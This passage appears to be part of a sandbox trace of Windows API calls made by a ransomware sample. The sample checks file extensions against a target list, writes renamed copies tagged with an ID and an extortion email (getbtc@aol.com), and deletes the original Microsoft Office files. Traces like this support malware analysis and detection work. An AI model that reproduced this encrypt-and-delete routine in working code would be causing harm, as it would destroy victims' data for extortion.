(lpString=".7z") returned 3 [0263.908] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0263.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG") returned 62 [0263.908] lstrlenW (lpString=".dbf") returned 4 [0263.908] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0263.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG") returned 62 [0263.908] lstrlenW (lpString=".1cd") returned 4 [0263.908] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0263.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG") returned 62 [0263.908] lstrlenW (lpString=".jpg") returned 4 [0263.908] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0263.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG") returned 62 [0263.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG") returned 62 [0263.909] lstrlenW (lpString=".doc") returned 4 [0263.909] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0263.909] lstrlenW (lpString=".docx") returned 5 [0263.909] lstrcmpiW (lpString1=".docx", lpString2="N.CFG") returned -1 [0263.909] lstrlenW (lpString=".pdf") returned 4 [0263.909] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0263.909] lstrlenW (lpString=".xls") returned 4 [0263.909] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0263.909] lstrlenW (lpString=".xlsx") returned 5 [0263.909] lstrcmpiW (lpString1=".xlsx", lpString2="N.CFG") returned -1 [0263.909] lstrlenW (lpString=".ppt") returned 4 [0263.909] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0263.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG") returned 62 [0263.909] lstrlenW (lpString=".zip") returned 4 [0263.909] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0263.909] lstrlenW (lpString=".rar") returned 4 [0263.909] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0263.909] lstrlenW (lpString=".bz2") returned 4 [0263.909] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0263.909] lstrlenW (lpString=".7z") returned 3 [0263.909] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0263.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG") returned 62 [0263.909] lstrlenW (lpString=".dbf") returned 4 [0263.909] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0263.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG") returned 62 [0263.909] lstrlenW (lpString=".1cd") returned 4 [0263.909] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0263.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG") returned 62 [0263.909] lstrlenW (lpString=".jpg") returned 4 [0263.909] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0263.909] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0263.909] lstrlenW (lpString="TASKACCS.ICO") returned 12 [0263.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccs.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0263.910] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=2998) returned 1 [0263.910] CloseHandle (hObject=0x1c0) returned 1 [0263.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccs.ico")) returned 0x20 [0263.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccs.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0263.911] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.911] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccs.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0263.912] GetLastError () returned 0x0 [0263.912] ReadFile (in: hFile=0x1c0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0xbb6, lpOverlapped=0x0) returned 1 [0263.948] WriteFile (in: hFile=0x3dc, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0263.948] ReadFile (in: hFile=0x1c0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0263.948] WriteFile (in: hFile=0x3dc, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.949] SetEndOfFile (hFile=0x3dc) returned 1 [0263.949] CloseHandle (hObject=0x3dc) returned 1 [0263.949] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.949] SetEndOfFile (hFile=0x1c0) returned 1 [0263.951] CloseHandle (hObject=0x1c0) returned 1 [0263.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.951] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccs.ico")) returned 1 [0263.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO") returned 66 [0263.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO") returned 66 [0263.952] lstrlenW (lpString=".doc") returned 4 [0263.952] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.952] lstrlenW (lpString=".docx") returned 5 [0263.952] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0263.952] lstrlenW (lpString=".pdf") returned 4 [0263.952] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.952] lstrlenW (lpString=".xls") returned 4 [0263.952] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.952] lstrlenW (lpString=".xlsx") returned 5 [0263.952] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0263.952] lstrlenW (lpString=".ppt") returned 4 [0263.952] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO") returned 66 [0263.952] lstrlenW (lpString=".zip") returned 4 [0263.952] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.952] lstrlenW (lpString=".rar") returned 4 [0263.952] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.952] lstrlenW (lpString=".bz2") returned 4 [0263.952] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.952] lstrlenW (lpString=".7z") returned 3 [0263.952] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO") returned 66 [0263.952] lstrlenW (lpString=".dbf") returned 4 [0263.952] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO") returned 66 [0263.952] lstrlenW (lpString=".1cd") returned 4 [0263.952] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO") returned 66 [0263.952] lstrlenW (lpString=".jpg") returned 4 [0263.952] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO") returned 66 [0263.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO") returned 66 [0263.952] lstrlenW (lpString=".doc") returned 4 [0263.952] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.952] lstrlenW (lpString=".docx") returned 5 [0263.952] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0263.953] lstrlenW (lpString=".pdf") returned 4 [0263.953] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.953] lstrlenW (lpString=".xls") returned 4 [0263.953] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.953] lstrlenW (lpString=".xlsx") returned 5 [0263.953] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0263.953] lstrlenW (lpString=".ppt") returned 4 [0263.953] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO") returned 66 [0263.953] lstrlenW (lpString=".zip") returned 4 [0263.953] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.953] lstrlenW (lpString=".rar") returned 4 [0263.953] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.953] lstrlenW (lpString=".bz2") returned 4 [0263.953] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.953] lstrlenW (lpString=".7z") returned 3 [0263.953] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO") returned 66 [0263.953] lstrlenW (lpString=".dbf") returned 4 [0263.953] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO") returned 66 [0263.953] lstrlenW (lpString=".1cd") returned 4 [0263.953] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO") returned 66 [0263.953] lstrlenW (lpString=".jpg") returned 4 [0263.953] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.953] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0263.953] lstrlenW (lpString="TASKDEC.CFG") returned 11 [0263.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdec.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0264.045] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=807) returned 1 [0264.045] CloseHandle (hObject=0x39c) returned 1 [0264.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdec.cfg")) returned 0x20 [0264.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdec.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdec.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0264.097] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.098] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdec.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0264.098] GetLastError () returned 0x0 [0264.098] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x327, lpOverlapped=0x0) returned 1 [0264.100] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x330, lpOverlapped=0x0) returned 1 [0264.101] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0264.101] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xea, lpOverlapped=0x0) returned 1 [0264.101] SetEndOfFile (hFile=0x3a8) returned 1 [0264.101] CloseHandle (hObject=0x3a8) returned 1 [0264.101] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.101] SetEndOfFile (hFile=0x3a0) returned 1 [0264.104] CloseHandle (hObject=0x3a0) returned 1 [0264.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.104] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdec.cfg")) returned 1 [0264.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG") returned 65 [0264.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG") returned 65 [0264.105] lstrlenW (lpString=".doc") returned 4 [0264.105] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0264.105] lstrlenW (lpString=".docx") returned 5 [0264.105] lstrcmpiW (lpString1=".docx", lpString2="C.CFG") returned -1 [0264.105] lstrlenW (lpString=".pdf") returned 4 [0264.105] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0264.105] lstrlenW (lpString=".xls") returned 4 [0264.105] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0264.105] lstrlenW (lpString=".xlsx") returned 5 [0264.105] lstrcmpiW (lpString1=".xlsx", lpString2="C.CFG") returned -1 [0264.105] lstrlenW (lpString=".ppt") returned 4 [0264.105] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0264.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG") returned 65 [0264.105] lstrlenW (lpString=".zip") returned 4 [0264.105] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0264.105] lstrlenW (lpString=".rar") returned 4 [0264.105] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0264.105] lstrlenW (lpString=".bz2") returned 4 [0264.105] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0264.105] lstrlenW (lpString=".7z") returned 3 [0264.105] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0264.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG") returned 65 [0264.105] lstrlenW (lpString=".dbf") returned 4 [0264.105] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0264.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG") returned 65 [0264.105] lstrlenW (lpString=".1cd") returned 4 [0264.105] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0264.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG") returned 65 [0264.105] lstrlenW (lpString=".jpg") returned 4 [0264.105] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0264.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG") returned 65 [0264.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG") returned 65 [0264.105] lstrlenW (lpString=".doc") returned 4 [0264.106] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0264.106] lstrlenW (lpString=".docx") returned 5 [0264.106] lstrcmpiW (lpString1=".docx", lpString2="C.CFG") returned -1 [0264.106] lstrlenW (lpString=".pdf") returned 4 [0264.106] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0264.106] lstrlenW (lpString=".xls") returned 4 [0264.106] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0264.106] lstrlenW (lpString=".xlsx") returned 5 [0264.106] lstrcmpiW (lpString1=".xlsx", lpString2="C.CFG") returned -1 [0264.106] lstrlenW (lpString=".ppt") returned 4 [0264.106] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0264.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG") returned 65 [0264.106] lstrlenW (lpString=".zip") returned 4 [0264.106] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0264.106] lstrlenW (lpString=".rar") returned 4 [0264.106] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0264.106] lstrlenW (lpString=".bz2") returned 4 [0264.106] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0264.106] lstrlenW (lpString=".7z") returned 3 [0264.106] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0264.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG") returned 65 [0264.106] lstrlenW (lpString=".dbf") returned 4 [0264.106] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0264.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG") returned 65 [0264.106] lstrlenW (lpString=".1cd") returned 4 [0264.106] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0264.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG") returned 65 [0264.106] lstrlenW (lpString=".jpg") returned 4 [0264.106] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0264.106] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0264.106] lstrlenW (lpString="TASKREQL.ICO") returned 12 [0264.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreql.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0264.107] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=1078) returned 1 [0264.107] CloseHandle (hObject=0x3a0) returned 1 [0264.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreql.ico")) returned 0x20 [0264.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreql.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreql.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0264.107] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.107] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreql.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0264.109] GetLastError () returned 0x0 [0264.109] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x436, lpOverlapped=0x0) returned 1 [0264.110] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x440, lpOverlapped=0x0) returned 1 [0264.112] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0264.112] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.112] SetEndOfFile (hFile=0x3a8) returned 1 [0264.112] CloseHandle (hObject=0x3a8) returned 1 [0264.112] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.112] SetEndOfFile (hFile=0x3a0) returned 1 [0264.114] CloseHandle (hObject=0x3a0) returned 1 [0264.114] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.114] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreql.ico")) returned 1 [0264.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO") returned 66 [0264.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO") returned 66 [0264.115] lstrlenW (lpString=".doc") returned 4 [0264.115] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0264.115] lstrlenW (lpString=".docx") returned 5 [0264.115] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0264.115] lstrlenW (lpString=".pdf") returned 4 [0264.115] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0264.115] lstrlenW (lpString=".xls") returned 4 [0264.115] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0264.115] lstrlenW (lpString=".xlsx") returned 5 [0264.115] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0264.115] lstrlenW (lpString=".ppt") returned 4 [0264.115] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0264.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO") returned 66 [0264.115] lstrlenW (lpString=".zip") returned 4 [0264.115] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0264.115] lstrlenW (lpString=".rar") returned 4 [0264.115] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0264.115] lstrlenW (lpString=".bz2") returned 4 [0264.115] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0264.115] lstrlenW (lpString=".7z") returned 3 [0264.115] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0264.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO") returned 66 [0264.116] lstrlenW (lpString=".dbf") returned 4 [0264.116] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0264.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO") returned 66 [0264.116] lstrlenW (lpString=".1cd") returned 4 [0264.116] lstrcmpiW (lpString1=".1cd", 